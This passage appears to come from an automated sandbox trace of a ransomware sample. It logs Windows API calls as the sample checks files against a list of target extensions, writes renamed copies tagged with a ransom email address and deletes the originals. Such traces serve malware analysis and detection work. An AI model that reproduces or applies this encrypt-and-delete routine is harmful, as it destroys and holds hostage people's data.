(lpString=".1cd") returned 4 [0073.063] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0073.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0073.063] lstrlenW (lpString=".jpg") returned 4 [0073.063] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0073.064] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.064] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0073.064] GetLastError () returned 0x0 [0073.065] ReadFile (in: hFile=0x2e8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xa8c, lpOverlapped=0x0) returned 1 [0073.066] WriteFile (in: hFile=0x2ec, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xa90, lpOverlapped=0x0) returned 1 [0073.067] ReadFile (in: hFile=0x2e8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.067] WriteFile (in: hFile=0x2ec, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0073.067] SetEndOfFile (hFile=0x2ec) returned 1 [0073.068] CloseHandle (hObject=0x2ec) returned 1 [0073.068] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.068] SetEndOfFile (hFile=0x2e8) returned 1 [0073.069] CloseHandle (hObject=0x2e8) returned 1 [0073.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0073.069] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 1 [0073.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0073.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0073.069] lstrlenW (lpString=".doc") returned 4 [0073.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0073.069] lstrlenW (lpString=".docx") returned 5 [0073.069] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0073.070] lstrlenW (lpString=".pdf") returned 4 [0073.070] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0073.070] lstrlenW (lpString=".xls") returned 4 [0073.070] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0073.070] lstrlenW (lpString=".xlsx") returned 5 [0073.070] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0073.070] lstrlenW (lpString=".ppt") returned 4 [0073.070] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0073.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0073.070] lstrlenW (lpString=".zip") returned 4 [0073.070] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0073.070] lstrlenW (lpString=".rar") returned 4 [0073.070] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0073.070] lstrlenW (lpString=".bz2") returned 4 [0073.070] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0073.070] lstrlenW (lpString=".7z") returned 3 [0073.070] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0073.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0073.070] lstrlenW (lpString=".dbf") returned 4 [0073.070] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0073.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0073.070] lstrlenW (lpString=".1cd") returned 4 [0073.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0073.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0073.070] lstrlenW (lpString=".jpg") returned 4 [0073.070] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0073.071] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.071] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0073.071] GetLastError () returned 0x0 [0073.071] ReadFile (in: hFile=0x2e8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x1b2e, lpOverlapped=0x0) returned 1 [0073.073] WriteFile (in: hFile=0x2ec, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x1b30, lpOverlapped=0x0) returned 1 [0073.074] ReadFile (in: hFile=0x2e8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.074] WriteFile (in: hFile=0x2ec, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0073.074] SetEndOfFile (hFile=0x2ec) returned 1 [0073.074] CloseHandle (hObject=0x2ec) returned 1 [0073.074] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.075] SetEndOfFile (hFile=0x2e8) returned 1 [0073.075] CloseHandle (hObject=0x2e8) returned 1 [0073.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0073.076] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 1 [0073.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0073.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0073.076] lstrlenW (lpString=".doc") returned 4 [0073.076] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0073.076] lstrlenW (lpString=".docx") returned 5 [0073.076] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0073.076] lstrlenW (lpString=".pdf") returned 4 [0073.076] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0073.076] lstrlenW (lpString=".xls") returned 4 [0073.077] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0073.077] lstrlenW (lpString=".xlsx") returned 5 [0073.077] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0073.077] lstrlenW (lpString=".ppt") returned 4 [0073.077] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0073.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0073.077] lstrlenW (lpString=".zip") returned 4 [0073.077] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0073.077] lstrlenW (lpString=".rar") returned 4 [0073.077] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0073.077] lstrlenW (lpString=".bz2") returned 4 [0073.077] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0073.077] lstrlenW (lpString=".7z") returned 3 [0073.077] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0073.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0073.077] lstrlenW (lpString=".dbf") returned 4 [0073.077] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0073.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0073.077] lstrlenW (lpString=".1cd") returned 4 [0073.077] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0073.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0073.077] lstrlenW (lpString=".jpg") returned 4 [0073.077] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0073.078] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.078] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0073.079] GetLastError () returned 0x0 [0073.079] ReadFile (in: hFile=0x2e8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x3670, lpOverlapped=0x0) returned 1 [0073.080] WriteFile (in: hFile=0x2ec, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x3680, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x3680, lpOverlapped=0x0) returned 1 [0073.082] ReadFile (in: hFile=0x2e8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.082] WriteFile (in: hFile=0x2ec, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0073.082] SetEndOfFile (hFile=0x2ec) returned 1 [0073.082] CloseHandle (hObject=0x2ec) returned 1 [0073.082] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.082] SetEndOfFile (hFile=0x2e8) returned 1 [0073.083] CloseHandle (hObject=0x2e8) returned 1 [0073.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0073.083] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 1 [0073.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0073.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0073.084] lstrlenW (lpString=".doc") returned 4 [0073.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0073.084] lstrlenW (lpString=".docx") returned 5 [0073.084] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0073.084] lstrlenW (lpString=".pdf") returned 4 [0073.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0073.084] lstrlenW (lpString=".xls") returned 4 [0073.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0073.084] lstrlenW (lpString=".xlsx") returned 5 [0073.084] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0073.084] lstrlenW (lpString=".ppt") returned 4 [0073.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0073.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0073.084] lstrlenW (lpString=".zip") returned 4 [0073.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0073.084] lstrlenW (lpString=".rar") returned 4 [0073.084] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0073.084] lstrlenW (lpString=".bz2") returned 4 [0073.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0073.084] lstrlenW (lpString=".7z") returned 3 [0073.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0073.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0073.084] lstrlenW (lpString=".dbf") returned 4 [0073.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0073.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0073.084] lstrlenW (lpString=".1cd") returned 4 [0073.084] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0073.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0073.084] lstrlenW (lpString=".jpg") returned 4 [0073.085] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0073.085] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.085] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0073.086] GetLastError () returned 0x0 [0073.086] ReadFile (in: hFile=0x2e8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x1b1a, lpOverlapped=0x0) returned 1 [0073.087] WriteFile (in: hFile=0x2ec, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x1b20, lpOverlapped=0x0) returned 1 [0073.088] ReadFile (in: hFile=0x2e8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.088] WriteFile (in: hFile=0x2ec, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0073.088] SetEndOfFile (hFile=0x2ec) returned 1 [0073.757] CloseHandle (hObject=0x2ec) returned 1 [0073.757] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.758] SetEndOfFile (hFile=0x2e8) returned 1 [0073.759] CloseHandle (hObject=0x2e8) returned 1 [0073.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0073.759] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 1 [0073.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0073.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0073.760] lstrlenW (lpString=".doc") returned 4 [0073.760] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0073.760] lstrlenW (lpString=".docx") returned 5 [0073.760] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0073.760] lstrlenW (lpString=".pdf") returned 4 [0073.760] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0073.760] lstrlenW (lpString=".xls") returned 4 [0073.760] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0073.760] lstrlenW (lpString=".xlsx") returned 5 [0073.760] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0073.760] lstrlenW (lpString=".ppt") returned 4 [0073.760] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0073.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0073.760] lstrlenW (lpString=".zip") returned 4 [0073.760] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0073.760] lstrlenW (lpString=".rar") returned 4 [0073.760] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0073.760] lstrlenW (lpString=".bz2") returned 4 [0073.760] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0073.760] lstrlenW (lpString=".7z") returned 3 [0073.760] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0073.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0073.760] lstrlenW (lpString=".dbf") returned 4 [0073.761] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0073.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0073.761] lstrlenW (lpString=".1cd") returned 4 [0073.761] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0073.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0073.761] lstrlenW (lpString=".jpg") returned 4 [0073.761] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0073.761] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.762] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0073.762] GetLastError () returned 0x0 [0073.762] ReadFile (in: hFile=0x2e8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x7620, lpOverlapped=0x0) returned 1 [0073.765] WriteFile (in: hFile=0x2ec, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x7630, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x7630, lpOverlapped=0x0) returned 1 [0073.766] ReadFile (in: hFile=0x2e8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.766] WriteFile (in: hFile=0x2ec, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0073.767] SetEndOfFile (hFile=0x2ec) returned 1 [0073.767] CloseHandle (hObject=0x2ec) returned 1 [0073.767] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.767] SetEndOfFile (hFile=0x2e8) returned 1 [0073.768] CloseHandle (hObject=0x2e8) returned 1 [0073.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0073.769] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 1 [0073.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0073.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0073.769] lstrlenW (lpString=".doc") returned 4 [0073.769] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0073.769] lstrlenW (lpString=".docx") returned 5 [0073.769] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0073.769] lstrlenW (lpString=".pdf") returned 4 [0073.770] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0073.770] lstrlenW (lpString=".xls") returned 4 [0073.770] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0073.770] lstrlenW (lpString=".xlsx") returned 5 [0073.770] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0073.770] lstrlenW (lpString=".ppt") returned 4 [0073.770] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0073.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0073.770] lstrlenW (lpString=".zip") returned 4 [0073.770] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0073.770] lstrlenW (lpString=".rar") returned 4 [0073.770] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0073.770] lstrlenW (lpString=".bz2") returned 4 [0073.770] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0073.770] lstrlenW (lpString=".7z") returned 3 [0073.770] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0073.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0073.770] lstrlenW (lpString=".dbf") returned 4 [0073.770] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0073.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0073.770] lstrlenW (lpString=".1cd") returned 4 [0073.770] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0073.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0073.770] lstrlenW (lpString=".jpg") returned 4 [0073.770] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0073.771] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.771] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0073.772] GetLastError () returned 0x0 [0073.772] ReadFile (in: hFile=0x2e8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x721c, lpOverlapped=0x0) returned 1 [0073.774] WriteFile (in: hFile=0x2ec, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x7220, lpOverlapped=0x0) returned 1 [0073.776] ReadFile (in: hFile=0x2e8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.776] WriteFile (in: hFile=0x2ec, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, 